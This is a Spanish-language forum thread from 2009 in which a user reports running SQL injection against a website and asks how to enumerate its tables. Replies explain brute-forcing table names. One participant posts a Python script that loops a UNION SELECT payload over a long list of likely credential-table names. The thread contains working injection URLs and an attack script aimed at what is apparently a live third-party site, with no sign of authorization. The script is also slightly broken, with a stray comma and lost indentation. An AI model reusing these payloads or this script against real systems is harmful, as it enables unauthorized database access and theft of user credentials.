(DUDA) Haciendo SQL Injection.

Iniciado por flowskull, 24 Julio 2009, 04:26 AM

0 Miembros y 1 Visitante están viendo este tema.

flowskull

Buenas antes que nada un saludo a todos, mi problema es el siguiente, estoy haciendo "SQL Injection" a una web y me quede estancado por asi decirlo en un paso:


Informacion que he logrado sacar.


Numero de tablas = 7
Mysql Version = 4.1.20
Nombre de la db = emotiu
Usuario de la db = emotiu@localhost
tables visibles = 4,5,6


Ok todo bien hasta alli, pero ahora que hago? intente con éste codigo:

http://www.prueba.com/html/noticia.php?id=-11+union+select+1,2,3,group_concat(table_name),5,6,7+from+information_schema.tables

Y el resultado es:

¡¡ERROR!!: SELECT command denied to user 'emotiu'@'localhost' for table 'tables'
SELECT * FROM noticias WHERE id_noticia = -11 union select 1,2,3,group_concat(table_name),5,6,7 from information_schema.tables

Mi duda está muy clara, si probando de esa forma me da acceso denegado, entonces que puedo usar para lograr saber almenos las tablas, o una recomendacion logica qe me den, creo que tienen la info suficiente jeje un saludo.

Darioxhcx

Mysql Version = 4.1.20

esa version no soporta information_schema hasta donde se...
saludos

flowskull

bueno entonces podrias darme algunos tips?

flowskull

bueno se supone que si la version 4 no soporta la information_schema y la 5 si.. entonces la 4 es mayor vulnerable cierto? me pueden ayudar?


OzX

Desde la version 5.x , mysql tiene la db information_schema.
Tienes que hacer fuerza bruta para indentificar las tablas.
Saludos¡

aagos

Hola OzX la fuerza bruta para indentificar las tablas se puede hacer desde la URL o tendria que ser con scripts?

08l00D

Cita de: aagos en 30 Julio 2009, 01:15 AM
Hola OzX la fuerza bruta para indentificar las tablas se puede hacer desde la URL o tendria que ser con scripts?
podes hacerlo a mano o con un script ya sea en ruby, python, perl etc... es facil lo unico que tenes que hacer es tener una buena lista con nombres de tablas mas comunes o que sean posible que este y pones todo en un array de cadenas lo que seria en python una 'lista'... y vas abriendo la web en un bucle tipo:
http://www.prueba.com/html/noticia.php?id=-11+union+select+1,2,3,4,5,6,7+from+LISTA[ITERADOR]
y por cada resultado si por ejemplo la web te tira un Table 'LISTA[ITERADOR]' doesn't exist ... aumentar el iterador en uno y que siga con el bucle hasta que encuentre una con la que no tire el error entonces la imprimis en la pantalla y listo al menos eso haria yo...
tambien podes hacer lo mismo pero manualmente ir probando con tablas que se te ocurran pero eso si que es un huevo  :xD ...

aagos

pues me temo que tendre que hacerlo a mano jajajajja porque no se nada de ruby, python, ni de perl muchas gracias porcierto se sabe de alguna vulnerabilidad conocida en MySQL 5.0.27 ?

08l00D

#9
bueno basicamente seria algo asi.... esta en python
Código (python) [Seleccionar]

import urllib2

url = raw_input("Introduce la url + el path vulnerable\n\tejemplo: www.ejemplo.com/xxxx.php?id=\n")

tablas = ['admin','tblUsers', 'tbl_users', 'tbl_admin',,'tblAdmin','user','users','username','usernames','usuario',
'name','names','nombre','nombres','usuarios','member','members','admin_table',
'miembro','miembros','membername','admins','administrator',
'administrators','passwd','password','passwords','pass','Pass',
'user_password', 'usua_login','user_passwords','user_name','user_names',
'member_password','mods','mod','moderators','moderator','user_email',
'user_emails','user_mail','user_mails','mail','emails','email','address',
'e-mail','emailaddress','correo','correos','phpbb_users','log','logins',
'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
'u_password','nick','nicks','manager','managers','administrador',
'administradores','clave','login_id','pwd','pas','sistema_id',
'sistema_usuario','sistema_password','contraseña','auth','key','senha',
'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member','tb_users','tb_user','tb_sys','sys',
'fazerlogon','logon','fazer','authorization','membros','utilizadores','staff','nuke_authors',
'accounts','account','accnts','accnt','customers','customer','membres','administrateur','utilisateur','utilisateurs',
'password','passwords','amministratore','god','God','authors','autores','membername','usuario','Users','Admin','Members',
'Miemberos','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER', 'username', 'user_hash']

inyeccion = "-11+union+select+1,2,3,4,5,6,7+from+"

for tabla in tablas:
web = urllib2.urlopen(url + inyeccion + tabla)
source = web.read()
error = "Table 'emotiu." + str(tabla) + "' doesn't exist"
if not error in source:
print "Tabla %s se encuentra en la base de datos" % tabla

print "Fin xd"



Por cierto la lista de tablas esa no es mia la saque de otro script que vi por ahi ....